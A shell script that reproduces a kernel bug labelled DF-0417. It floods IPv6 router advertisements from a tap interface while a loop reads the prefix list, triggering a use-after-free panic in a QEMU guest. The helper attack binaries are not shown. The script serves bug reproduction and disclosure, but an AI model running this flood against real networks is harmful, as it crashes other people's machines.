#!/bin/sh
# DF-0417 reproduction script (run as ROOT on the guest; simulates an on-link
# IPv6 attacker flooding RAs while a local process reads the prefix list).
#
# The RA sender needs root to open /dev/tapN -- this stands in for the attacker's
# own machine being on the link.  The VICTIM kernel is the one that crashes.
set -e
cd "$(dirname "$0")"

IFACE=${IFACE:-tap0}
THREADS=${THREADS:-3}
PREFIXES=${PREFIXES:-8}
SECS=${SECS:-30}

# 1. enable IPv6 RA acceptance globally (host mode, ip6_forwarding=0 assumed)
sysctl -c net.inet6.ip6.accept_rtadv=1 2>/dev/null || sysctl net.inet6.ip6.accept_rtadv=1
# 2. create the tap injection interface and let its link-local come up
ifconfig "$IFACE" create 2>/dev/null || true
ifconfig "$IFACE" up
sleep 2
./ndflagset "$IFACE" >/dev/null

echo "== launching prefix-list reader (triggers nd6.c:2248 pfr->router deref) =="
nohup sh -c "while true; do ndp -p >/dev/null 2>&1; done" </dev/null >/tmp/df0417_reader.log 2>&1 &
RPID=$!

echo "== launching RA flood: ra_race_mt -t $THREADS -p $PREFIXES -s $SECS =="
./ra_race_mt -d "/dev/$IFACE" -i "$IFACE" -t "$THREADS" -p "$PREFIXES" -s "$SECS"
kill "$RPID" 2>/dev/null || true
echo "== done.  If the guest is down, check dfbsd-qemu/boot.log for: =="
echo "   Stopped at nd6_sysctl_prlist.part.10+...  (the DF-0417 UAF panic)"